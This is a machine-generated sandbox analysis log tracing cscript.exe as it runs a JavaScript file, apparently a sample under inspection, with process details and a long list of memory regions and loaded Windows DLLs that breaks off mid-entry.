# Flog Txt Version 1
# Analyzer Version: 2.3.0
# Analyzer Build Date: Apr 12 2018 14:32:59
# Log Creation Date: 02.05.2018 13:26:09.919

Process:
	id = "1"
	image_name = "cscript.exe"
	filename = "c:\\windows\\system32\\cscript.exe"
	page_root = "0x1a7c3000"
	os_pid = "0xe6c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2
	        start_va = 0x92e5460000
	          end_va = 0x92e547ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e5460000"
	        filename = ""

Region:
	              id = 3
	        start_va = 0x92e5480000
	          end_va = 0x92e5493fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5480000"
	        filename = ""

Region:
	              id = 4
	        start_va = 0x92e54a0000
	          end_va = 0x92e559ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e54a0000"
	        filename = ""

Region:
	              id = 5
	        start_va = 0x92e55a0000
	          end_va = 0x92e55a3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e55a0000"
	        filename = ""

Region:
	              id = 6
	        start_va = 0x92e55b0000
	          end_va = 0x92e55b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e55b0000"
	        filename = ""

Region:
	              id = 7
	        start_va = 0x92e55c0000
	          end_va = 0x92e55c1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e55c0000"
	        filename = ""

Region:
	              id = 8
	        start_va = 0x7df5ff080000
	          end_va = 0x7ff5ff07ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff080000"
	        filename = ""

Region:
	              id = 9
	        start_va = 0x7ff7ebd60000
	          end_va = 0x7ff7ebd82fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7ebd60000"
	        filename = ""

Region:
	              id = 10
	        start_va = 0x7ff7ebd8d000
	          end_va = 0x7ff7ebd8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd8d000"
	        filename = ""

Region:
	              id = 11
	        start_va = 0x7ff7ebd8e000
	          end_va = 0x7ff7ebd8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd8e000"
	        filename = ""

Region:
	              id = 12
	        start_va = 0x7ff7ecad0000
	          end_va = 0x7ff7ecafefff
	     entry_point = 0x7ff7ecad0000
	     region_type = mapped_file
	            name = "cscript.exe"
	        filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")

Region:
	              id = 13
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 160
	        start_va = 0x92e55f0000
	          end_va = 0x92e56effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e55f0000"
	        filename = ""

Region:
	              id = 161
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 162
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 237
	        start_va = 0x92e5460000
	          end_va = 0x92e546ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5460000"
	        filename = ""

Region:
	              id = 238
	        start_va = 0x92e5470000
	          end_va = 0x92e5476fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e5470000"
	        filename = ""

Region:
	              id = 239
	        start_va = 0x92e56f0000
	          end_va = 0x92e57adfff
	     entry_point = 0x92e56f0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 240
	        start_va = 0x92e57b0000
	          end_va = 0x92e58affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e57b0000"
	        filename = ""

Region:
	              id = 241
	        start_va = 0x7ff7ebc60000
	          end_va = 0x7ff7ebd5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7ebc60000"
	        filename = ""

Region:
	              id = 242
	        start_va = 0x7ff7ebd8b000
	          end_va = 0x7ff7ebd8cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd8b000"
	        filename = ""

Region:
	              id = 243
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 244
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 245
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 246
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 247
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 248
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 249
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 250
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 251
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 252
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 253
	        start_va = 0x92e55d0000
	          end_va = 0x92e55d6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e55d0000"
	        filename = ""

Region:
	              id = 254
	        start_va = 0x92e5930000
	          end_va = 0x92e593ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e5930000"
	        filename = ""

Region:
	              id = 255
	        start_va = 0x92e5940000
	          end_va = 0x92e5ac7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5940000"
	        filename = ""

Region:
	              id = 256
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 257
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 258
	        start_va = 0x92e55e0000
	          end_va = 0x92e55e2fff
	     entry_point = 0x92e55e0000
	     region_type = mapped_file
	            name = "cscript.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\cscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cscript.exe.mui")

Region:
	              id = 259
	        start_va = 0x92e58b0000
	          end_va = 0x92e58b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e58b0000"
	        filename = ""

Region:
	              id = 260
	        start_va = 0x92e58c0000
	          end_va = 0x92e58c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e58c0000"
	        filename = ""

Region:
	              id = 261
	        start_va = 0x92e5ad0000
	          end_va = 0x92e5c50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5ad0000"
	        filename = ""

Region:
	              id = 262
	        start_va = 0x92e5c60000
	          end_va = 0x92e705ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5c60000"
	        filename = ""

Region:
	              id = 263
	        start_va = 0x92e7060000
	          end_va = 0x92e7135fff
	     entry_point = 0x92e7060000
	     region_type = mapped_file
	            name = "rpcss.dll"
	        filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")

Region:
	              id = 264
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 265
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 266
	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 267
	        start_va = 0x92e58d0000
	          end_va = 0x92e58effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e58d0000"
	        filename = ""

Region:
	              id = 268
	        start_va = 0x92e7060000
	          end_va = 0x92e7396fff
	     entry_point = 0x92e7060000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 269
	        start_va = 0x92e58d0000
	          end_va = 0x92e58d8fff
	     entry_point = 0x92e58d0000
	     region_type = mapped_file
	            name = "cscript.exe"
	        filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")

Region:
	              id = 270
	        start_va = 0x92e58e0000
	          end_va = 0x92e58effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e58e0000"
	        filename = ""

Region:
	              id = 271
	        start_va = 0x7ffc00760000
	          end_va = 0x7ffc007f7fff
	     entry_point = 0x7ffc00760000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 272
	        start_va = 0x92e73a0000
	          end_va = 0x92e749ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e73a0000"
	        filename = ""

Region:
	              id = 273
	        start_va = 0x7ff7ebd89000
	          end_va = 0x7ff7ebd8afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd89000"
	        filename = ""

Region:
	              id = 274
	        start_va = 0x92e58f0000
	          end_va = 0x92e58f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e58f0000"
	        filename = ""

Region:
	              id = 275
	        start_va = 0x92e74a0000
	          end_va = 0x92e7557fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e74a0000"
	        filename = ""

Region:
	              id = 276
	        start_va = 0x92e58f0000
	          end_va = 0x92e58f3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e58f0000"
	        filename = ""

Region:
	              id = 277
	        start_va = 0x7ffbfe9a0000
	          end_va = 0x7ffbfe9c1fff
	     entry_point = 0x7ffbfe9a0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 278
	        start_va = 0x92e5900000
	          end_va = 0x92e5900fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5900000"
	        filename = ""

Region:
	              id = 279
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 280
	        start_va = 0x92e5910000
	          end_va = 0x92e5910fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5910000"
	        filename = ""

Region:
	              id = 281
	        start_va = 0x7ffbed430000
	          end_va = 0x7ffbed4fdfff
	     entry_point = 0x7ffbed430000
	     region_type = mapped_file
	            name = "jscript.dll"
	        filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll")

Region:
	              id = 282
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 283
	        start_va = 0x7ffbf69d0000
	          end_va = 0x7ffbf69dffff
	     entry_point = 0x7ffbf69d0000
	     region_type = mapped_file
	            name = "amsi.dll"
	        filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll")

Region:
	              id = 284
	        start_va = 0x7ffbed410000
	          end_va = 0x7ffbed42cfff
	     entry_point = 0x7ffbed410000
	     region_type = mapped_file
	            name = "mpoav.dll"
	        filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll")

Region:
	              id = 285
	        start_va = 0x92e5920000
	          end_va = 0x92e5920fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5920000"
	        filename = ""

Region:
	              id = 286
	        start_va = 0x7ffbf39b0000
	          end_va = 0x7ffbf39bffff
	     entry_point = 0x7ffbf39b0000
	     region_type = mapped_file
	            name = "wldp.dll"
	        filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll")

Region:
	              id = 287
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 290
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 291
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 292
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 293
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 294
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 295
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 296
	        start_va = 0x92e5920000
	          end_va = 0x92e5920fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e5920000"
	        filename = ""

Region:
	              id = 297
	        start_va = 0x92e7560000
	          end_va = 0x92e765ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7560000"
	        filename = ""

Region:
	              id = 298
	        start_va = 0x7ff7ebd87000
	          end_va = 0x7ff7ebd88fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd87000"
	        filename = ""

Region:
	              id = 299
	        start_va = 0x7ffbf69c0000
	          end_va = 0x7ffbf69cbfff
	     entry_point = 0x7ffbf69c0000
	     region_type = mapped_file
	            name = "msisip.dll"
	        filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll")

Region:
	              id = 300
	        start_va = 0x7ffc03b40000
	          end_va = 0x7ffc03baefff
	     entry_point = 0x7ffc03b40000
	     region_type = mapped_file
	            name = "coml2.dll"
	        filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll")

Region:
	              id = 301
	        start_va = 0x92e7660000
	          end_va = 0x92e865ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e7660000"
	        filename = ""

Region:
	              id = 302
	        start_va = 0x92e8660000
	          end_va = 0x92e8660fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000092e8660000"
	        filename = ""

Region:
	              id = 303
	        start_va = 0x92e7660000
	          end_va = 0x92e775ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7660000"
	        filename = ""

Region:
	              id = 304
	        start_va = 0x7ff7ebd85000
	          end_va = 0x7ff7ebd86fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd85000"
	        filename = ""

Region:
	              id = 305
	        start_va = 0x7ffbed3f0000
	          end_va = 0x7ffbed40cfff
	     entry_point = 0x7ffbed3f0000
	     region_type = mapped_file
	            name = "wshext.dll"
	        filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll")

Region:
	              id = 306
	        start_va = 0x7ffbec230000
	          end_va = 0x7ffbec2d9fff
	     entry_point = 0x7ffbec230000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_0212ec7eba871e86\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_0212ec7eba871e86\\comctl32.dll")

Region:
	              id = 307
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 308
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 309
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 310
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 311
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 312
	        start_va = 0x92e7760000
	          end_va = 0x92e77dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7760000"
	        filename = ""

Region:
	              id = 313
	        start_va = 0x92e7760000
	          end_va = 0x92e7766fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7760000"
	        filename = ""

Region:
	              id = 314
	        start_va = 0x92e77d0000
	          end_va = 0x92e77dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e77d0000"
	        filename = ""

Region:
	              id = 315
	        start_va = 0x7ffbed3a0000
	          end_va = 0x7ffbed3e3fff
	     entry_point = 0x7ffbed3a0000
	     region_type = mapped_file
	            name = "scrobj.dll"
	        filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll")

Region:
	              id = 316
	        start_va = 0x92e5920000
	          end_va = 0x92e592ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e5920000"
	        filename = ""

Region:
	              id = 317
	        start_va = 0x92e77e0000
	          end_va = 0x92e78dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e77e0000"
	        filename = ""

Region:
	              id = 318
	        start_va = 0x92e78e0000
	          end_va = 0x92e79dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e78e0000"
	        filename = ""

Region:
	              id = 319
	        start_va = 0x92e79e0000
	          end_va = 0x92e7adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e79e0000"
	        filename = ""

Region:
	              id = 320
	        start_va = 0x7ff7ebc5e000
	          end_va = 0x7ff7ebc5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc5e000"
	        filename = ""

Region:
	              id = 321
	        start_va = 0x7ff7ebd83000
	          end_va = 0x7ff7ebd84fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebd83000"
	        filename = ""

Region:
	              id = 322
	        start_va = 0x92e7770000
	          end_va = 0x92e7772fff
	     entry_point = 0x92e7770000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll")

Region:
	              id = 323
	        start_va = 0x92e7780000
	          end_va = 0x92e7788fff
	     entry_point = 0x92e7780000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui")

Region:
	              id = 324
	        start_va = 0x92e7ae0000
	          end_va = 0x92e7bdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7ae0000"
	        filename = ""

Region:
	              id = 325
	        start_va = 0x7ff7ebc5c000
	          end_va = 0x7ff7ebc5dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7ebc5c000"
	        filename = ""

Region:
	              id = 326
	        start_va = 0x92e7770000
	          end_va = 0x92e7772fff
	     entry_point = 0x92e7770000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll")

Region:
	              id = 327
	        start_va = 0x92e7780000
	          end_va = 0x92e7788fff
	     entry_point = 0x92e7780000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui")

Region:
	              id = 328
	        start_va = 0x7ffbec200000
	          end_va = 0x7ffbec228fff
	     entry_point = 0x7ffbec200000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")

Region:
	              id = 329
	        start_va = 0x7ffbec1c0000
	          end_va = 0x7ffbec1f4fff
	     entry_point = 0x7ffbec1c0000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")

Region:
	              id = 330
	        start_va = 0x7ffbffad0000
	          end_va = 0x7ffbffaebfff
	     entry_point = 0x7ffbffad0000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")

Region:
	              id = 331
	        start_va = 0x92e7770000
	          end_va = 0x92e7782fff
	     entry_point = 0x92e7770000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")

Region:
	              id = 332
	        start_va = 0x92e7790000
	          end_va = 0x92e779ffff
	     entry_point = 0x92e7790000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")

Region:
	              id = 333
	        start_va = 0x7ffbebc10000
	          end_va = 0x7ffbebe46fff
	     entry_point = 0x7ffbebc10000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 334
	        start_va = 0x92e7be0000
	          end_va = 0x92e7d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7be0000"
	        filename = ""

Region:
	              id = 335
	        start_va = 0x92e7d70000
	          end_va = 0x92e7f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d70000"
	        filename = ""

Region:
	              id = 336
	        start_va = 0x92e7d70000
	          end_va = 0x92e7efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d70000"
	        filename = ""

Region:
	              id = 337
	        start_va = 0x92e7f50000
	          end_va = 0x92e7f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7f50000"
	        filename = ""

Region:
	              id = 338
	        start_va = 0x92e7be0000
	          end_va = 0x92e7d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7be0000"
	        filename = ""

Region:
	              id = 339
	        start_va = 0x92e7d60000
	          end_va = 0x92e7d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d60000"
	        filename = ""

Region:
	              id = 340
	        start_va = 0x92e7be0000
	          end_va = 0x92e7ceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7be0000"
	        filename = ""

Region:
	              id = 341
	        start_va = 0x92e7d10000
	          end_va = 0x92e7d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000092e7d10000"
	        filename = ""

Region:
	              id = 342
	        start_va = 0x92e7be0000
	          end_va = 0x92e7cbefff
